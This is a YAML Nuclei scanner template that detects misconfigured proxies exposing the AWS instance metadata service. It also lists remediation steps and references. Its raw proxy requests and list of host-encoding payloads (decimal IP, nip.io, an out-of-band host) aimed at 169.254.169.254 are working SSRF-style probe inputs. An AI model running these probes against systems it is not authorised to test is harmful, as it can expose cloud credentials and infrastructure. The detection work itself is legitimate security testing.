id: metadata-service-aws # This attack abuses a misconfigured proxy that allows access to the metadata # IP or a name which resolves to the IP. A standard proxy request is made to # the proxy using the full metadata URL, which the proxy will fulfill to its # own metadata service. # # The proxy may also be vulnerable to host/port enumeration on localhost or # inside the private network. info: name: Amazon AWS Metadata Service Check author: sullo,DhiyaneshDk severity: critical description: The AWS host is configured as a proxy which allows access to the metadata service. This could allow significant access to the host/infrastructure. reference: - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html - https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/ - https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/ - https://twitter.com/Random_Robbie/status/1268186743657947137 - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery# remediation: Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N cvss-score: 9.3 cwe-id: CWE-441 tags: exposure,proxy,aws,amazon,misconfig,metadata metadata: max-request: 4 http: - raw: - |+ GET http://{{hostval}}/latest/meta-data/ HTTP/1.1 Host: {{hostval}} payloads: hostval: - aws.oast.online - 169.254.169.254 - 2852039166 # decimal encoding - 169.254.169.254.nip.io unsafe: true matchers: - type: word part: body words: - "public-ipv4" - "privateIp" condition: or